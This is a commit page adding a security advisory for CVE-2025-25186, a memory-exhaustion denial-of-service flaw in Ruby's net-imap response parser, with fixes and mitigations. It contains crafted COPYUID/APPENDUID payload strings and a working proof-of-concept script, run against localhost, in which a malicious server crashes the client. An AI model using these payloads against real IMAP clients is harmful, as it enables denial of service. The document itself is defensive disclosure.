Skip to content

Commit 60261f3

Browse files
committed
GHSA SYNC: 1 brand new advisory
1 parent b32baf6 commit 60261f3

File tree

1 file changed

+269
-0
lines changed

1 file changed

+269
-0
lines changed

gems/net-imap/CVE-2025-25186.yml

Lines changed: 269 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,269 @@
1+
---
2+
gem: net-imap
3+
cve: 2025-25186
4+
ghsa: 7fc5-f82f-cx69
5+
url: https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69
6+
title: Possible DoS by memory exhaustion in net-imap
7+
date: 2025-02-10
8+
description: |
9+
### Summary
10+
There is a possibility for denial of service by memory exhaustion in
11+
`net-imap`'s response parser. At any time while the client is
12+
connected, a malicious server can send can send highly compressed
13+
`uid-set` data which is automatically read by the client's receiver
14+
thread. The response parser uses `Range#to_a` to convert the
15+
`uid-set` data into arrays of integers, with no limitation on the
16+
expanded size of the ranges.
17+
18+
### Details
19+
IMAP's `uid-set` and `sequence-set` formats can compress ranges of
20+
numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the
21+
same set. When `Net::IMAP::ResponseParser` receives `APPENDUID` or
22+
`COPYUID` response codes, it expands each `uid-set` into an array of
23+
integers. On a 64 bit system, these arrays will expand to 8 bytes
24+
for each number in the set. A malicious IMAP server may send
25+
specially crafted `APPENDUID` or `COPYUID` responses with very large
26+
`uid-set` ranges.
27+
28+
The `Net::IMAP` client parses each server response in a separate
29+
thread, as soon as each responses is received from the server.
30+
This attack works even when the client does not handle the
31+
`APPENDUID` or `COPYUID` responses.
32+
33+
Malicious inputs:
34+
35+
```ruby
36+
# 40 bytes expands to ~1.6GB:
37+
"* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
38+
39+
# Worst *valid* input scenario (using uint32 max),
40+
# 44 bytes expands to 64GiB:
41+
"* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
42+
43+
# Numbers must be non-zero uint32, but this isn't validated. Arrays
44+
# larger than UINT32_MAX can be created. For example, the following
45+
# would theoretically expand to almost 800 exabytes:
46+
"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
47+
```
48+
49+
Simple way to test this:
50+
```ruby
51+
require "net/imap"
52+
53+
def test(size)
54+
input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\n"
55+
parser = Net::IMAP::ResponseParser.new
56+
parser.parse input
57+
end
58+
59+
test(99_999_999)
60+
```
61+
62+
### Fixes
63+
64+
#### Preferred Fix, minor API changes
65+
Upgrade to v0.4.19, v0.5.6, or higher, and configure:
66+
```ruby
67+
# globally
68+
Net::IMAP.config.parser_use_deprecated_uidplus_data = false
69+
# per-client
70+
imap = Net::IMAP.new(hostname, ssl: true,
71+
parser_use_deprecated_uidplus_data: false)
72+
imap.config.parser_use_deprecated_uidplus_data = false
73+
```
74+
75+
This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.
76+
These classes store their UIDs as `Net::IMAP::SequenceSet` objects
77+
(_not_ expanded into arrays of integers). Code that does not handle
78+
`APPENDUID` or `COPYUID` responses will not notice any difference.
79+
Code that does handle these responses _may_ need to be updated. See
80+
the documentation for
81+
[UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html),
82+
[AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html)
83+
and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).
84+
85+
For v0.3.8, this option is not available.
86+
For v0.4.19, the default value is `true`.
87+
For v0.5.6, the default value is `:up_to_max_size`.
88+
For v0.6.0, the only allowed value will be `false` _(`UIDPlusData`
89+
will be removed from v0.6)_.
90+
91+
#### Mitigation, backward compatible API
92+
Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
93+
94+
For backward compatibility, `uid-set` can still be expanded
95+
into an array, but a maximum limit will be applied.
96+
97+
Assign `config.parser_max_deprecated_uidplus_data_size` to set the
98+
maximum `UIDPlusData` UID set size. When
99+
`config.parser_use_deprecated_uidplus_data == true`, larger sets will crash.
100+
When `config.parser_use_deprecated_uidplus_data == :up_to_max_size`,
101+
larger sets will use `AppendUIDData` or `CopyUIDData`.
102+
103+
For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets
104+
will always raise `Net::IMAP::ResponseParseError`.
105+
For v0.4.19, the limit defaults to 1000.
106+
For v0.5.6, the limit defaults to 100.
107+
For v0.6.0, the limit will be ignored _(`UIDPlusData` will be
108+
removed from v0.6)_.
109+
110+
#### Please Note: unhandled responses
111+
112+
If the client does not add response handlers to prune unhandled
113+
responses, a malicious server can still eventually exhaust all
114+
115+
client memory, by repeatedly sending malicious responses. However,
116+
`net-imap` has always retained unhandled responses, and it has always
117+
been necessary for long-lived connections to prune these responses.
118+
_This is not significantly different from connecting to a trusted
119+
server with a long-lived connection._ To limit the maximum number
120+
of retained responses, a simple handler might look something like
121+
the following:
122+
123+
```ruby
124+
limit = 1000
125+
imap.add_response_handler do |resp|
126+
next unless resp.respond_to?(:name) && resp.respond_to?(:data)
127+
name = resp.name
128+
code = resp.data.code&.name if resp.data.respond_to?(:code)
129+
if Net::IMAP::VERSION > "0.4.0"
130+
imap.responses(name) { _1.slice!(0...-limit) }
131+
imap.responses(code) { _1.slice!(0...-limit) }
132+
else
133+
imap.responses(name).slice!(0...-limit)
134+
imap.responses(code).slice!(0...-limit)
135+
end
136+
end
137+
```
138+
139+
### Proof of concept
140+
141+
Save the following to a ruby file (e.g: `poc.rb`) and
142+
make it executable:
143+
```ruby
144+
#!/usr/bin/env ruby
145+
require 'socket'
146+
require 'net/imap'
147+
148+
if !defined?(Net::IMAP.config)
149+
puts "Net::IMAP.config is not available"
150+
elsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)
151+
puts "Net::IMAP.config.parser_use_deprecated_uidplus_data is not available"
152+
else
153+
Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size
154+
puts "Updated parser_use_deprecated_uidplus_data to :up_to_max_size"
155+
end
156+
157+
size = Integer(ENV["UID_SET_SIZE"] || 2**32-1)
158+
159+
def server_addr
160+
Addrinfo.tcp("localhost", 0).ip_address
161+
end
162+
163+
def create_tcp_server
164+
TCPServer.new(server_addr, 0)
165+
end
166+
167+
def start_server
168+
th = Thread.new do
169+
yield
170+
end
171+
sleep 0.1 until th.stop?
172+
end
173+
174+
def copyuid_response(tag: "*", size: 2**32-1, text: "too large?")
175+
"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n"
176+
end
177+
178+
def appenduid_response(tag: "*", size: 2**32-1, text: "too large?")
179+
"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n"
180+
end
181+
182+
server = create_tcp_server
183+
port = server.addr[1]
184+
puts "Server started on port #{port}"
185+
186+
# server
187+
start_server do
188+
sock = server.accept
189+
begin
190+
sock.print "* OK test server\r\n"
191+
cmd = sock.gets("\r\n", chomp: true)
192+
tag = cmd.match(/\A(\w+) /)[1]
193+
puts "Received: #{cmd}"
194+
195+
malicious_response = appenduid_response(size:)
196+
puts "Sending: #{malicious_response.chomp}"
197+
sock.print malicious_response
198+
199+
malicious_response = copyuid_response(size:)
200+
puts "Sending: #{malicious_response.chomp}"
201+
sock.print malicious_response
202+
sock.print "* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\r\n"
203+
sock.print "#{tag} OK CAPABILITY completed\r\n"
204+
205+
cmd = sock.gets("\r\n", chomp: true)
206+
tag = cmd.match(/\A(\w+) /)[1]
207+
puts "Received: #{cmd}"
208+
sock.print "* BYE If you made it this far, you passed the test!\r\n"
209+
sock.print "#{tag} OK LOGOUT completed\r\n"
210+
rescue Exception => ex
211+
puts "Error in server: #{ex.message} (#{ex.class})"
212+
ensure
213+
sock.close
214+
server.close
215+
end
216+
end
217+
218+
# client
219+
begin
220+
puts "Client connecting,.."
221+
imap = Net::IMAP.new(server_addr, port: port)
222+
puts "Received capabilities: #{imap.capability}"
223+
pp responses: imap.responses
224+
imap.logout
225+
rescue Exception => ex
226+
puts "Error in client: #{ex.message} (#{ex.class})"
227+
puts ex.full_message
228+
ensure
229+
imap.disconnect if imap
230+
end
231+
```
232+
233+
Use `ulimit` to limit the process's virtual memory. The following
234+
example limits virtual memory to 1GB:
235+
```console
236+
$ ( ulimit -v 1000000 && exec ./poc.rb )
237+
Server started on port 34291
238+
Client connecting,..
239+
Received: RUBY0001 CAPABILITY
240+
Sending: * OK [APPENDUID 1 1:4294967295] too large?
241+
Sending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?
242+
Error in server: Connection reset by peer @ io_fillbuf - fd:9 (Errno::ECONNRESET)
243+
Error in client: failed to allocate memory (NoMemoryError)
244+
/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#get_tagged_response': failed to allocate memory (NoMemoryError)
245+
from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#send_command'
246+
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
247+
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
248+
from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#send_command'
249+
from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability'
250+
from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize'
251+
from /rubylibdir/monitor.rb:201:in 'MonitorMixin#mon_synchronize'
252+
from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability'
253+
from /workspace/poc.rb:70:in '<main>'
254+
```
255+
cvss_v3: 6.5
256+
unaffected_versions:
257+
- "< 0.3.2"
258+
patched_versions:
259+
- "~> 0.3.8"
260+
- "~> 0.4.19"
261+
- ">= 0.5.6"
262+
related:
263+
url:
264+
- https://nvd.nist.gov/vuln/detail/CVE-2025-25186
265+
- https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69
266+
- https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35
267+
- https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3
268+
- https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022
269+
- https://github.com/advisories/GHSA-7fc5-f82f-cx69

0 commit comments

Comments
 (0)